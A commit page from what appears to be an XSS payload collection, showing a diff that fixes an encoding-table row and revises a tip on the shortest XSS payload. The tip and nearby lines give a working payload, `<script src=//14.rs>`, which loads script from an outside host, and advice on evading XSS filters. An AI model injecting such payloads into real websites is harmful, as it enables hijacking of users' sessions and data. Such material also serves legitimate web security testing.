s0md3v/AwesomeXSS
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

fixed the encoding table and fixed a payload

Browse Source
This commit is contained in:
Somdev Sangwan
2019-01-08 18:01:34 +05:30
committed by GitHub
parent 253effa471
commit 6079478d4c
1 changed files with 2 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files

4
README.md
View File

@@ -339,7 +339,7 @@ If the your dummy tags lands in the source code as it is, go for any of these pa
|`?`|?|`?`|question mark|u+003F|\003f|\77|
|`@`|@|`@`|at sign; commercial at|u+0040|\0040|\100|
|`[`|\[|`[`|left square bracket|u+005B|\005b|\133|
|`\`|/\|`\`|backslash|u+005C|\005c|\134|
|`\`|/|`\`|backslash|u+005C|\005c|\134|
|`]`|]|`]`|right square bracket|u+005D|\005d|\135|
|`^`|^|`^`|circumflex accent|u+005E|\005e|\136
|`_`|_|`_`|low line|u+005F|\005f|\137|
@@ -355,7 +355,7 @@ If the your dummy tags lands in the source code as it is, go for any of these pa
- You can use `//` to close a tag instead of `>`.
- I have found that `confirm` is the least detected pop-up function so stop using `alert`.
- Quotes around attribute value aren't neccessary as long as it doesn't contain spaces. You can use `<script src=//14.rs>` instead of `<script src="//14.rs">`
- The shortest independent XSS payload is `script src=//14.rs` (19 chars)
- The shortest HTML context XSS payload is `<script src=//14.rs>` (19 chars)
### Awesome Credits
All the payloads are crafted by me unless specified.